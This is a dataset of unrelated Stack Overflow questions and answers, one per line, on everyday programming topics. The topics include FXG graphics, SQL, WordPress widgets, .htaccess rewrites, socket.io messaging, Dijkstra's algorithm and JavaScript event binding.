18397644	0	FXG ScaleGrid on BitmapImage not working <p>Does anyone encounter this? FXG ScaleGrid seem to be not working on BitmapImage. Below are my code:</p> <pre><code>&lt;Graphic version="2.0" xmlns="http://ns.adobe.com/fxg/2008" scaleGridTop="6" scaleGridLeft="6" scaleGridRight="94" scaleGridBottom="54" &gt; &lt;Rect width="100" height="60" radiusX="4" radiusY="4" &gt; &lt;fill&gt; &lt;LinearGradient rotation="90" &gt; &lt;GradientEntry color="#00649f" /&gt; &lt;GradientEntry color="#005080" /&gt; &lt;/LinearGradient&gt; &lt;/fill&gt; &lt;stroke&gt; &lt;LinearGradientStroke rotation="90" &gt; &lt;GradientEntry color="#0079c1" /&gt; &lt;GradientEntry color="#004b77" /&gt; &lt;/LinearGradientStroke&gt; &lt;/stroke&gt; &lt;/Rect&gt; &lt;!-- Use BitmapImage for InnerGlow, since ScaleGrid will not work on filter --&gt; &lt;BitmapImage x="0" y="0" source="@Embed('skins/mobi/assets240/InnerGlow240.png')" scaleX="1" scaleY="1" fillMode="scale" width="100" height="60" /&gt; &lt;/Graphic&gt; </code></pre> <p>When I scale it, the <b>Rect</b> portion has no problem in scaling, but the <b>BitmapImage</b> didn't scale according to the scaleGrid set, is there anything that I have done it wrongly?</p> <p>Thanks!</p> <p>Joel</p>
26121708	0	 <p>This should do what you want:</p> <pre><code>select si.Rollnumber, max(case when si.Property = 'Name' then si.Value end) as Name, max(case when si.Property = 'Year' then si.Value end) as Year, max(case when si.Property = 'City' then si.Value end) as City from StudentInfo si group by si.Rollnumber; </code></pre>
19327731	0	How to find the vertical and horizontal distance from the center of a rectangle <p>For my current Java project I have to compute the horizontal and vertical distance from the center of a rectangle. I tried using the formula from a previous project to find such a distance. Here is my code:</p> <pre><code> // Calculations; centerCoordinate = 0 formula = Math.sqrt(Math.pow(userXCoordinate - centerCoordinate, 2) + Math.pow(userYCoordinate - centerCoordinate, 2)); </code></pre> <p>My professor gave the hint that a point is in the rectangle if its horizontal distance to (0, 0) is less than or equal to 10 / 2 and its vertical distance to (0, 0) is less than or equal to 5 / 2. I tried using 5 for horizontal distance and 2.5 for vertical distance and setting variables to these numbers. I then made an if-else loop saying if the result of the formula was less than or equal to the variables the coordinates were in the rectangle otherwise they were outside. This returned a wrong answer; what could I do differently? </p>
13065225	0	display multiple row for one record in jqgrid <p>hi i want to display the multiple row for single record in jqgrid. For example if a grid has 10 columns such as c1,c2,c3...c10 and values such as va1,va2,va3....,va10 and vb1,vb2,vb3....,vb10 and so on. it should display as,</p> <p>---------------------- ->Headers</p> <h2>|c1|c2|c3|c4|c5|</h2> <h2>|c6|c7|c8|c9|c10|</h2> <p>---------------------- ->value1</p> <h2>|va1|va2|va3|va4|va5|</h2> <h2>|va6|va7|va8|va9|va10|</h2> <p>---------------------- ->value2</p> <h2>|vb1|vb2|vb3|vb4|vb5|</h2> <h2>|vb6|vb7|vb8|vb9|vb10|</h2> <hr> <p>. ->value3 . .</p> <p>please help me</p> <p>Thanks, Jay</p>
13823707	0	Creating a list of most popular posts of the past week - Wordpress <p>I have created a widget for my Wordpress platform that displays the most popular posts of the week. However, there is an issue with it. It counts the most popular posts from <strong>Monday</strong>, not the past 7 days. For instance, this means that on Tuesday, it will only include posts from Tuesday and Monday.</p> <p>Here is my widget code:</p> <pre><code>&lt;?php class PopularWidget extends WP_Widget { function PopularWidget(){ $widget_ops = array('description' =&gt; 'Displays Popular Posts'); $control_ops = array('width' =&gt; 400, 'height' =&gt; 300); parent::WP_Widget(false,$name='ET Popular Widget',$widget_ops,$control_ops); } /* Displays the Widget in the front-end */ function widget($args, $instance){ extract($args); $title = apply_filters('widget_title', empty($instance['title']) ? 'Popular This Week' : $instance['title']); $postsNum = empty($instance['postsNum']) ? '' : $instance['postsNum']; $show_thisweek = isset($instance['thisweek']) ? (bool) $instance['thisweek'] : false; echo $before_widget; if ( $title ) echo $before_title . $title . $after_title; ?&gt; &lt;?php $additional_query = $show_thisweek ? '&amp;year=' . date('Y') . '&amp;w=' . date('W') : ''; query_posts( 'post_type=post&amp;posts_per_page='.$postsNum.'&amp;orderby=comment_count&amp;order=DESC' . $additional_query ); ?&gt; &lt;div class="widget-aligned"&gt; &lt;h3 class="box-title"&gt;Popular Articles&lt;/h3&gt; &lt;div class="blog-entry"&gt; &lt;ol&gt; &lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&gt; &lt;li&gt;&lt;h4 class="title"&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h4&gt;&lt;/li&gt; &lt;?php endwhile; endif; wp_reset_query(); ?&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- end widget-aligned --&gt; &lt;div style="clear:both;"&gt;&lt;/div&gt; &lt;?php echo $after_widget; } /*Saves the settings. */ function update($new_instance, $old_instance){ $instance = $old_instance; $instance['title'] = stripslashes($new_instance['title']); $instance['postsNum'] = stripslashes($new_instance['postsNum']); $instance['thisweek'] = 0; if ( isset($new_instance['thisweek']) ) $instance['thisweek'] = 1; return $instance; } /*Creates the form for the widget in the back-end. */ function form($instance){ //Defaults $instance = wp_parse_args( (array) $instance, array('title'=&gt;'Popular Posts', 'postsNum'=&gt;'','thisweek'=&gt;false) ); $title = htmlspecialchars($instance['title']); $postsNum = htmlspecialchars($instance['postsNum']); # Title echo '&lt;p&gt;&lt;label for="' . $this-&gt;get_field_id('title') . '"&gt;' . 'Title:' . '&lt;/label&gt;&lt;input class="widefat" id="' . $this-&gt;get_field_id('title') . '" name="' . $this-&gt;get_field_name('title') . '" type="text" value="' . $title . '" /&gt;&lt;/p&gt;'; # Number of posts echo '&lt;p&gt;&lt;label for="' . $this-&gt;get_field_id('postsNum') . '"&gt;' . 'Number of posts:' . '&lt;/label&gt;&lt;input class="widefat" id="' . $this-&gt;get_field_id('postsNum') . '" name="' . $this-&gt;get_field_name('postsNum') . '" type="text" value="' . $postsNum . '" /&gt;&lt;/p&gt;'; ?&gt; &lt;input class="checkbox" type="checkbox" &lt;?php checked($instance['thisweek'], 1) ?&gt; id="&lt;?php echo $this-&gt;get_field_id('thisweek'); ?&gt;" name="&lt;?php echo $this-&gt;get_field_name('thisweek'); ?&gt;" /&gt; &lt;label for="&lt;?php echo $this-&gt;get_field_id('thisweek'); ?&gt;"&gt;&lt;?php esc_html_e('Popular this week','Aggregate'); ?&gt;&lt;/label&gt; &lt;?php } }// end AboutMeWidget class function PopularWidgetInit() { register_widget('PopularWidget'); } add_action('widgets_init', 'PopularWidgetInit'); ?&gt; </code></pre> <p>How can I change this script so that it will count the past 7 days rather than posts from last Monday?</p>
37470417	0	Use json-simple (Java, Eclipse) to convert a txt file to JSON file, some special characters does not shown properly in JSON file <p>I am using json-simple to parse a txt file to JSON file. The data I need contains some special characters (emoticon) such as "(●⁰౪⁰●)(//●⁰౪⁰●)//" and " "˭̡̞(◞⁎˃ᆺ˂)◞<em>✰". The result JSON file is not recoginize some characters in it, for instance it will convert the second emoticon into "˭̡̞(◞\u204E˃ᆺ˂)◞</em>✰" I know that \204E is the UTF code for lower * but I do not know how to correctly make it write properly into JSON file. I have tried to encode my input txt file in UTF_8 but it does not work as well. I was wondering if anyone has a good idea for how to solve the issue, Thanks. </p>
29940766	0	 <pre><code>var Book = {"Titles":[ { "Book3" : "BULLETIN 3" } , { "Book1" : "BULLETIN 1" } , { "Book2" : "BULLETIN 2" } ]} var findbystr = function(str) { var return_val; Book.Titles.forEach(function(data){ if(typeof data[str] != 'undefined') { return_val = data[str]; } }, str) return return_val; } book = findbystr('Book1'); console.log(book); </code></pre>
16865164	0	 <p>Chrome (or any other browser) doesn't support HTAs at all. Actually HTAs are run by mshta.exe, and IE is used as a rendering &amp; scripting engine.</p> <p>When HTA is run with IE9 (<code>&lt;meta http-equiv="x-ua-compatible" content="IE=9"&gt;</code>) there are some issues with <code>&lt;HTA: application&gt;</code>, like some mess with <code>icon</code> and window borders.</p> <p>With IE10 (<code>&lt;meta http-equiv="x-ua-compatible" content="IE=edge"&gt;</code>) it seems, that HTA properties are ignored totally, even <code>singleInstance="yes"</code> doesn't work. If you take a look at a runtime source, you can see the <code>&lt;HTA: application&gt;</code> tag is moved to the <code>body</code>, where it has not the expected influence.</p> <p>All above written about IE is related to the actual HTA properties only, all HTML, scripts and privilegs work well. With IE10 even better and faster than ever before, and you can use real JavaScript instead of JScript.</p> <p>To utilize all available features, you need to add document type and <code>x-ua-compatible</code> to your pages:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;&lt;/title&gt; &lt;meta http-equiv="x-ua-compatible" content="IE=edge"&gt; ... </code></pre>
4346901	0	Suggestion for solving fragile pattern matching <p>I often need to match a tuple of values that should have the same constructor. The catchall <code>_,_</code> always winds-up at the end. This of course is fragile, any additional constructor added to the type will compile perfectly fine. My current thoughts are to have matches that connect the first but not second argument. But, is there any other options?</p> <p>For example,</p> <pre><code>type data = | States of int array | Chars of (char list) array let median a b = match a,b with | States xs, States ys -&gt; assert( (Array.length xs) = (Array.length ys) ); States (Array.init (Array.length xs) (fun i -&gt; xs.(i) lor ys.(i))) | Chars xs, Chars ys -&gt; assert( (Array.length xs) = (Array.length ys) ); let union c1 c2 = (List.filter (fun x -&gt; not (List.mem x c2)) c1) @ c2 in Chars (Array.init (Array.length xs) (fun i -&gt; union xs.(i) ys.(i))) (* inconsistent pairs of matching *) | Chars _, _ | States _, _ -&gt; assert false </code></pre>
15846265	0	Using break; in Struts1 <logic:iterate> <p>I am using Struts 1.2 for my Web Application. I am iterating through a garments collection and searching whether any of the garments price is greater than $1000 or not. If any of them satisfies the condition then no need to iterate through the remaining garments collection, simple break and come out of the iterator.</p> <p>For comparing the price, I am using , it is present inside the .</p> <p>I am not able to break out from the once the garment price condition is satisfied (i.e. >$1000).</p> <p>Kindly let me know how to break the iteration in struts 1.2.</p> <p>Regards,</p>
6185983	0	 <p>The second argument to <a href="http://www.gnu.org/software/emacs/emacs-lisp-intro/html_node/search_002dforward.html" rel="nofollow"><code>search-forward</code></a> bounds the search, so to search for a string on the current line, go to the start of the line, and use the end of the line as your bound:</p> <pre><code>(beginning-of-line) (search-forward myword (line-end-position)) </code></pre> <p>If you don't want to move point, then use <a href="http://www.gnu.org/software/emacs/elisp/html_node/Excursions.html" rel="nofollow"><code>save-excursion</code></a> to preserve it:</p> <pre><code>(save-excursion (beginning-of-line) (search-forward myword (line-end-position))) </code></pre>
22576505	0	 <p>Use the <code>replace</code> method:</p> <pre><code>function cap(str) { return str.replace(/([a-z])/, function (match, value) { return value.toUpperCase(); }) } </code></pre> <p><a href="http://jsfiddle.net/tewathia/LuF2e/" rel="nofollow">DEMO</a></p> <p><strong>Edit</strong>: In case you have a string containing multiple (space-separated) words, try something like:</p> <pre><code>function cap(str) { return str.split(' ').map(function (e) { return e.replace(/([a-z])/, function (match, value) { return value.toUpperCase(); }) }).join(' '); } </code></pre> <p>This would convert <code>"50newyork paris84 london"</code> to <code>"50Newyork Paris84 London"</code></p> <p><a href="http://jsfiddle.net/tewathia/LuF2e/1/" rel="nofollow">DEMO</a></p>
8116829	0	JSF 2.0 has Bean Validation (JSR 303) and also its own Validation Framework <p>JSF 2.0 has offered <code>Bean Validation</code> (JSR 303) and its own <code>Validation framework</code>, given the choices, i am confused with which one to choose from. </p> <p>It seems that with JSF's validation framework, i may specify constraints at the XHTML view layer. i.e. max length. While using Bean Validation, i would specify the constraints via annotations (@) in the bean.</p> <p>I see the JSF Validation framework as more of a plug-gable attempt, while the bean validation JSR as an elegant solution, can anyone comment on this?</p> <p>May i check if anyone has used one over another and why, or if anyone has used both together?</p>
17511761	0	 <p>This one works for me very well. <code>(https?|ftp)://(www\d?|[a-zA-Z0-9]+)?\.[a-zA-Z0-9-]+(\:|\.)([a-zA-Z0-9.]+|(\d+)?)([/?:].*)?</code></p>
39684521	0	 <p>Update your compateString method as follows:</p> <p>u need to compare each step of the id alone.</p> <pre><code>public static int compareString(String str1, String str2){ String subString = str1.substring(str1.indexOf("##")+3, str1.length()); String subString1 = str2.substring(str2.indexOf("##")+3, str2.length()); String[] array1 = subString.split("-"); String[] array2 = subString1.split("-"); for(int i=0;i&lt; array1.length &amp;&amp; i&lt; array2.length;i++) { BigInteger b1 = new BigInteger(array1[i]); BigInteger b2 = new BigInteger(array2[i]); if(b1.compareTo(b2) &gt;0) //b1 is larger than b2 return 1; if(b1.compareTo(b2) &lt;0) return -1; } if(array1.length == array2.length)//both numbers are equal return 0; if(array1.length &gt; array2.length) return 1; return -1; } </code></pre>
16873967	0	.htaccess URL rewrite works, but address bar then shows 'dirty' URL <ul> <li>User clicks link (from their email): <code>http://www.site.com/edit/wih293f73y</code></li> <li>Browser window opens and gets them to the correct page.</li> <li>But now the browser's address bar shows: <code>http://www.site.com/editor.php?editCode=wih293f73y</code></li> </ul> <p><strong>Extra info:</strong></p> <ul> <li>My rewrite rule is:<code>RewriteRule ^edit/([A-Za-z0-9-]+)/?$ editor.php?editCode=$1 [NC,L]</code></li> <li>This problem ONLY occurs when the user has clicked a link. It works perfectly when you just type the pretty url into the address bar.</li> <li>This problem <strong>ONLY occurs for links that include the <code>www.</code></strong> - the link <code>http://site.com/edit/wih293f73y</code> works like a charm.</li> <li>My .htaccess file includes the following code (from HTML5 boilerplate, which I wasn't aware of previously):</li> </ul> <blockquote> <pre><code># Rewrite www.example.com → example.com &lt;IfModule mod_rewrite.c&gt; RewriteCond %{HTTPS} !=on RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC] RewriteRule ^ http://%1%{REQUEST_URI} [R=301,L] &lt;/IfModule&gt; </code></pre> </blockquote> <p>If it's important, this occurs after my other rewrite rules.</p>
37984296	0	 <p>In the documentation, there is nowhere mentioned that it's possible to launch a Simulation directly from an Object's main method. For a very good reason: it's not!</p>
11244025	0	 <p><code>Process.Start</code> will attempt to open the file in the computer it is running (the server).</p> <p>This is unlikely to be what you want. You should be uploading the file to the browser and let it decide (using <code>Response.WriteFile</code>, for instance).</p>
10099325	0	 <p>Here is my list <em>(updated for 1.0)</em>:</p> <pre><code>// sending to sender-client only socket.emit('message', "this is a test"); // sending to all clients, include sender io.emit('message', "this is a test"); // sending to all clients except sender socket.broadcast.emit('message', "this is a test"); // sending to all clients in 'game' room(channel) except sender socket.broadcast.to('game').emit('message', 'nice game'); // sending to all clients in 'game' room(channel), include sender io.in('game').emit('message', 'cool game'); // sending to sender client, only if they are in 'game' room(channel) socket.to('game').emit('message', 'enjoy the game'); // sending to all clients in namespace 'myNamespace', include sender io.of('myNamespace').emit('message', 'gg'); // sending to individual socketid socket.broadcast.to(socketid).emit('message', 'for your eyes only'); </code></pre>
2802273	0	 <ul> <li>Read the <a href="http://floating-point-gui.de/basic/" rel="nofollow noreferrer">Floating-Point Guide</a></li> <li><em>Never</em> use <code>double</code> or <code>float</code> for money amounts</li> <li>Use <code>BigDecimal</code> instead, that's exactly what it's for</li> </ul>
4589800	0	 <p>join is faster</p> <pre><code>SELECT COUNT(comments.uid) FROM comments JOIN user_relationships ON user_relationships.requestee_id = comments.uid WHERE user_relationships.requester_id = $some_id </code></pre>
19127847	0	 <p>Just use <a href="http://php.net/manual/en/function.print-r.php">print_r</a> :</p> <pre><code>echo '&lt;pre&gt;'; print_r ($myArray); echo '&lt;/pre&gt;'; </code></pre> <p>It will display information about your variable in a way that's readable by humans. can be used with arrays and objects.</p>
28719778	0	How to add PATH more than one values in Environment variable? <blockquote> <p>Is this correct way of adding PATH to env setup</p> </blockquote> <pre><code>C:\Program Files\Java\jdk1.7.0_71\bin;C:\Workspace\BS4SVN\BS4SVN-v.1.33.0\ant\bin;D:\Softwares\apache-maven-3.2.3\bin </code></pre>
10316217	0	How to see output in Amazon EMR/S3? <p>I am new to Amazon Services and tried to run the application in Amazon EMR.</p> <p>For that I have followed the steps as:</p> <p>1) Created the Hive Scripts which contains --> create table, load data statement in Hive with some file and select * from command.</p> <p>2) Created the S3 Bucket. And I load the object into it as: Hive Script, File to load into the table.</p> <p>3) Then Created the Job Flow (Using Sample Hive Program). Given the input, ouput, and script path (like s3n://bucketname/script.q, s3n://bucketname/input.txt, s3n://bucketname/out/). Didn't create out directory. I think it will get created automatically.</p> <p>4) Then Job Flow start to run and after some time I saw the states as STARTING, BOOTSTRAPING, RUNNING, and SHUT DOWN.</p> <p>5) While running SHUT DOWN state, it get terminated automatically showing FAILES status for SHUT DOWN.</p> <p>Then on the S3, I didn't see the out directory. How to see the output? I saw directory like daemons, nodes, etc......</p> <p>And also how to see the data from HDFS in Amazon EMR?</p>
19045469	0	javascript: null variable in function changes its value? <p>Can a null variable in a function become not null? When f enters in function chainF it somehow changes its value? It isn't null anymore.</p> <pre><code>function TestF(){} TestF.prototype = { i: 0, f: null, chainF: function(g){ if(this.f == null) console.log('f is null'); var newF = function(){ if(this.f == null) console.log('f is null'); g(); }; this.f = newF; return this; } } t = new TestF(); t.chainF(function(){console.log('g')}).f(); </code></pre> <p>Output: f is null (only once) g</p>
40066740	0	 <p>There might be other problems in your snippet, so far I've noticed you're using <code>std::map</code> which is unusual data-structure for this purpose as <code>std::map</code> will overwrite previous <code>nodeId</code> with same <code>weight</code>. You can use <code>std::multimap</code> but you will need some more <code>std::iterator</code> and stuffs for looping on key-value pairs. Use <code>std::priority_queue</code> which will allow you to keep the code precise.</p> <p>Here is a simple snippet solution with <code>std::priority_queue</code> which calculate shortest distance from source to destination node. You can modify or write similarly for your problems:</p> <pre><code>#define Max 20010 // MAX is the maximum nodeID possible vector &lt;pair&lt;int, int&gt;&gt; adj[Max]; // adj[u] contains the adjacent nodes of node u int dis[Max]; // dis[i] is the distance from source to node i priority_queue &lt;pair&lt;int, int&gt;, vector&lt;pair&lt;int, int&gt; &gt;, greater&lt;pair&lt;int, int&gt; &gt; &gt; Q; int dijkstra(int src, int des) { memset(dis, MAX, sizeof dis); Q = priority_queue &lt;pair&lt;int, int&gt;, vector&lt;pair&lt;int, int&gt; &gt;, greater&lt;pair&lt;int, int&gt; &gt; &gt; (); dis[src] = 0; Q.push({dis[src] , src}); while(!Q.empty()) { int u = Q.top().second; Q.pop(); if(u == des) { return dis[des]; } for(int i = 0; i &lt; (int)adj[u].size(); ++i) { int v = adj[u][i].first; int cost = adj[u][i].second; if(dis[v] &gt; dis[u] + cost) { dis[v] = dis[u] + cost; Q.push({dis[v], v)}); } } } return -1; // no path found } </code></pre>
37636328	0	 <p>Your function is not "returning" anything. It prints a value to stdout, and each invocation will do that.</p> <p>If you want to simulate a function return with this mechanism, you need to capture and resend the value:</p> <p>Bash functions return an exit status, and this works as you might expect (as long as you expect 0 to be success). If you don't specify otherwise, the return value is that of the last command. So the following would work:</p> <pre><code>tryn() { if (($1 == 0)); then return 2; fi "$@" || tryn $(($1-1)) "$@" } if tryn 2 ping $host; then # success fi </code></pre>
24074250	0	 <pre><code>SKShapeNode *pathNode = [[SKShapeNode alloc] init]; pathNode.path = [self buildEnemyShipMovementPath:enemy]; pathNode.strokeColor = [SKColor redColor]; pathNode.lineWidth = 0.5f; pathNode.alpha = 0.4; pathNode.glowWidth = 5.f; [self addChild:pathNode] </code></pre>
8369922	0	 <ul> <li><p>Doing it the way you describe will not do any harm.</p></li> <li><p>You can move the <code>.git</code> directory into the tree you want to commit instead of moving the tree to the repository.</p></li> <li><p>You can use the <code>--work-tree</code> option or <code>GIT_WORK_TREE</code> environment variable to act as if you did that:</p> <pre><code>git add --work-tree=CurrentProduction -A; git commit ... </code></pre> <p>Note that it is not necessary to specify it for commands after <code>add</code> since <code>add</code> copies content into the index, <code>commit</code> uses the index, and the index is in <code>.git</code>.</p></li> </ul> <p>As a separate issue, note that your procedure will make the <code>develop</code> initial commit a child of the <code>master</code> initial commit. That is probably the right thing for this case; I just want to make sure you're aware it's not symmetric.</p>
5430663	0	Adding observer to NSNotificationCenter second time causes EXC_BAD_ACCESS <p>Hypothetical scenario:</p> <p>In my <code>viewDidLoad</code> method I am adding view controller as an observer for custom notification (say, notification <code>MyFooNotification</code>). Later in the process when view is loaded the notification gets posted and controller processes it. When I leave the controller with it's view I DO NOT remove the observer (intentionally) in <code>viewDidUnload</code>. Next time when opening the view, the observer gets added again, but now when the observed notification gets posted - I get <code>EXC_BAD_ACCESS</code>.</p> <p>Can anyone explain why this is happenning.</p> <p>P.S. I do know that I should remove it in <code>viewDidUnload</code> I'm just curious about the lower level details.</p>
9373371	0	 <p>In magento admin in </p> <pre><code>Catalog-&gt;Manage categories </code></pre> <p>Select category and choose preffered store view. There you should edit and save "URL key" parameter. </p> <p>In case it still shows old url - clean cache and make url rewrite reindex.</p>
2452577	0	 <p><code>route</code> is part of the <code>bottle</code> module. </p> <p>The following should fix the problem</p> <pre><code>import bottle ... @bottle.route('/hello') def hello(): return "Hello World!" ... </code></pre>
4784699	0	 <p>the whole thing can be changed to something like this for better readability...</p> <pre><code>&lt;?php $myradiooptions = array( "grid1" =&gt; "Grid View (default)", "list1" =&gt; "List View (1 column)", "list2" =&gt; "List View (2 column)" ); $value = array( "name" =&gt; "Category Layout", "desc" =&gt; "description goes here", "id" =&gt; "my_category_layout", "type" =&gt; "radio", "options" =&gt; $myradiooptions ); foreach($value as $key =&gt; $val) { $formHTML = "&lt;label class='left' for='{$value['id']}'&gt;".$value['name']."&lt;/label&gt;"; if(is_array($val)) { $count = 1; foreach($val as $k =&gt; $v) { $formHTML .= "&lt;input type='radio' name='{$v['id']}' id='$count' value='$v' /&gt;&lt;label style='color:#666; margin:0 20px 0 5px;' for='$count'&gt;$v&lt;/label&gt;"; $count ++; } } $formHTML .= "&lt;label class='description' style='margin-top:-5px;'&gt;".$value['desc']."&lt;/label&gt;"; } //switch, case "radio": ?&gt; &lt;li class="section"&gt; &lt;?php print $formHTML; ?&gt; &lt;/li&gt; </code></pre>
2303322	0	Custom form elements script <p>I am looking for a customized Form elements like RadioButton, Checkbox and Selectbox script. What do you suggest. (widthout using any framework please!)</p> <p>Thanks in advance.</p>
12864176	0	 <p>You can do that with the date function. </p> <p><a href="http://php.net/manual/en/function.date.php" rel="nofollow">http://php.net/manual/en/function.date.php</a></p>
27724447	0	 <p>...better is declare the name as varible ,and ask before if thereis a apostrophe in the string:</p> <p>e.g.:</p> <p>DIM YourName string</p> <p>YourName = "Daniel O'Neal"</p> <pre><code> If InStr(YourName, "'") Then SELECT * FROM tblStudents WHERE [name] Like """ Your Name """ ; else SELECT * FROM tblStudents WHERE [name] Like '" Your Name "' ; endif </code></pre>
10737728	0	NSPoint in NSBezierPath <p>I was wondering if there is any way to find out if an NSPoint is inside an NSBezierPath. Like:</p> <pre><code>NSPointInRect(aPoint,aRect) </code></pre> <p>But with a BezierPath.</p> <p>Thanks in advance, Ben</p>
26192170	0	Can I transfer my phone numbers from ringcentral into twilio? <p>I want to twilio and clicked on ask community and it brought me here.</p> <p>So, my question is, how can I transfer my phone numbers in Ring Central into Twilio?</p> <p>I called Ring Central, they said I can do it, but I have to start it at the other end with the company I want to transfer them to. But I don't know how to start it.</p> <p>Can someone please tell me?</p> <p>I have to do it fast because my billing at ring central is coming due in a few days.</p> <p>Thanks, Richard</p>
23787948	0	 <p>Ignoring the fact that <code>eval</code> is probably super dangerous to use here (unless the data in <code>somefile</code> is controlled by you and only you), there are a few issues to fix in your example code.</p> <p>In your <code>for</code> loop, <code>alert_list</code> needs to be <code>$alert_list</code>.</p> <p>Also, as pointed out by @choroba, you should be using <code>!=</code> instead of <code>-ne</code> since your input isn't always an integer.</p> <p>Finally, while debugging, you can add <code>set -x</code> to the top of your script, or add <code>-x</code> to the end of your shebang line to enable verbose output (helps to determine how bash is expanding your variables).</p> <p>This works for me:</p> <pre><code>#!/bin/bash -x data=2.2 version=1 al_ap_version=('ap_version' '[[ $data != $version ]]') alert_list='al_ap_version' for alert in $alert_list; do condition=$(eval echo \${$alert[1]}) if eval "$condition"; then echo "alert" fi done </code></pre>
27657784	0	How to extract the result of a query from JSON inside a custom javascript function in OrientDB <p>I created a custom javascript function in the OrientDB Studio. The function takes a rid as an argument and performs a select query from that rid.</p> <pre><code>var graph = orient.getGraph(); var res = graph.command( "sql", "select outE('Rel').inV('B').size() as lower_num from " + rid ); </code></pre> <p>So, the result of this query is a number. Depending on the value of this number the function should do different things. I wonder how to extract and use that value from the res variable inside the function. All my attempts have failed so far.. If I return the res variable from the function, the result looks like this: </p> <pre><code>[ { "@type": "d", "@rid": "#-2:1", "@version": 0, "lower_num": 2 } ] </code></pre> <p>So, I tried the following <code>( res[0]['lower_num'] == 2 ); ( res['lower_num'] == 2 )</code> and nothing worked.. They always returned false. Any ideas?</p>
15388670	0	popup with bootstrap <p>how can i create a popup with MVC bootstrap?</p> <p>I have this code, when I click on "generate password" calls to a function (it´s in my controller Admin) and it returns me a string. How can i display the string in a popup window??</p> <pre><code>&lt;div class="editor-field" title="User Password"&gt; &lt;a class="btn btn-primary btn-small" href="#" onclick="location.href='@Url.Action("GeneratePsw", "Admin", null)'; return false;"&gt; &lt;i class="icon-lock icon-white"&gt;&lt;/i&gt; Generate password &lt;/a&gt; &lt;/div&gt; </code></pre>
27343787	0	 <ol> <li>You should show us code of <code>scrap_and_save_product</code> function.</li> <li>Try to make more memory-efficient queries with large data. Details described <a href="http://www.poeschko.com/2012/02/memory-efficient-django-queries/" rel="nofollow">here</a>. Hope these helps!</li> </ol>
32129237	0	 <p>Let's start by getting some terminology out of the way</p> <ul> <li>A <em>channel</em> is a monaural stream of samples. The term does not necessarily imply that the samples are contiguous in the data stream. </li> <li>A <em>frame</em> is a set of co-incident samples. For stereo audio (e.g. L &amp; R channels) a frame contains two samples.</li> <li>A <em>packet</em> is 1 or more frames, and is typically the minimun number of frames that can be processed by a system at once. For PCM Audio, a packet often contains 1 frame, but for compressed audio it will be larger. </li> <li><em>Interleaving</em> is a term typically used for stereo audio, in which the data stream consists of consecutive frames of audio. The stream therefore looks like L1R1L2R2L3R3......LnRn</li> </ul> <p>Both big and little endian audio formats exist, and depend on the use-case. However, it's generally ever an issue when exchanging data between systems - you'll always use native byte-order when processing or interfacing with operating system audio components. </p> <p>You don't say whether you're using a little or big endian system, but I suspect it's probably the former. In which case you need to byte-reverse the samples.</p> <p>Although not set in stone, when using floating point samples are usually in the range <code>-1.0&lt;x&lt;+1.0</code>, so you want to divide the samples by <code>1&lt;&lt;15</code>. When 16-bit linear types are used, they are typically signed.</p> <p>Taking care of byte-swapping and format conversions:</p> <pre><code>int s = (int) interleavedData[2 * i]; short revS = (short) (((s &amp; 0xff) &lt;&lt; 8) | ((s &gt;&gt; 8) &amp; 0xff)) left[i] = ((float) revS) / 32767.0f; </code></pre>
8086193	0	How to iterate over a formset in django? <p>This is my views.py: </p> <pre><code># Create your views here. def codepost(request): if request.method == 'POST': form=CodeFormSet(request.POST) if form.is_valid(): datan = "" for forms in form.ordered_forms: data = forms.cleaned_data['code'] datan = datan + data return render_to_response('submissiondone.html', {'data':datan}) else: form = CodeFormSet() data1=QuestionBase.objects.get(pk=1) #form.append(data1.text) #data1 = mform.text csrfContext = RequestContext(request) return render_to_response('quesdisp.html', {'form': form}) </code></pre> <p>This gives an addition ORDER field which I don't want. So, how do I iterate over a formset? If I remove the can_order = true from the formset, then it is not recognizing "code" as a valid input. </p> <p>Thus, how do I iterate over this? </p> <p>Edit: This is the formest part of my forms.py:</p> <pre><code>from django import forms from django.forms.formsets import formset_factory class CodeForm(forms.Form): code = forms.CharField(widget = forms.Textarea) CodeFormSet = formset_factory(CodeForm, extra = 5, ) </code></pre>
18789390	0	 <p>Try like this:</p> <pre><code>action = getattr(me,command['action']) action(**{'a': 'Apple', 'b': 'Banana', 'args':['one','two','three','four'], 'foo':'spam', 'clowns':'bad', 'chickens':'good' }) </code></pre>
30355298	0	 <p>did you try</p> <pre><code>meteor run --test </code></pre> <p>command? This is what <a href="https://github.com/meteor-velocity/velocity-ci" rel="nofollow">velocity-cli</a> creators are telling to do now.</p>
10725430	0	 <p>As far as i know, there is no way to downgrade officially. apple does not allow to downgrade your iOS.</p>
28800715	0	 <p>Try this updated regex:</p> <pre><code>(?&lt;=href\=\")[^&lt;]*?(?=\"&gt;\[link\]) </code></pre> <p>See <a href="https://www.regex101.com/r/pZ1gK9/1" rel="nofollow">demo</a>. The problem is that the dot matches too many characters and in order to get the right 'href' you need to just restrict the regex to <code>[^&lt;]*?</code>.</p>
28452436	0	How to add onclick dynamically in Jquery? <p>I have the following code:</p> <pre><code> obj2 = JSON.parse(ajax.responseText); for (var i = 0; i &lt;= obj2.length - 1; i++) { var row = table.insertRow(1); var cell1 = row.insertCell(0); var cell2 = row.insertCell(1); var cell3 = row.insertCell(2); var cell4 = row.insertCell(3); var cell5 = row.insertCell(4); var cell6 = row.insertCell(5); var cell7 = row.insertCell(6); var cell8 = row.insertCell(7); cell1.innerHTML = obj2[i].qid; cell2.innerHTML = obj2[i].question; cell3.innerHTML = obj2[i].answer1; cell4.innerHTML = obj2[i].answer2; cell5.innerHTML = obj2[i].answer3; cell6.innerHTML = obj2[i].answer4; $(function(){ var btn = document.createElement("BUTTON"); var t = document.createTextNode("Delete "+cell1.innerHTML); //this works well btn.appendChild(t); btn.className="menu_buttons"; $(btn).on('click' ,function(){ delete_(cell1.innerHTML);//this assigns the value of the last iteration to each button }); cell8.appendChild(btn); }); } </code></pre> <p>I'm iterating over a json array and I want to assign the same function (with different parameter, depending on an id from the array) to each button, and as I mentioned in the comment, it overwrites each button with the same parameter. What's wrong?</p>
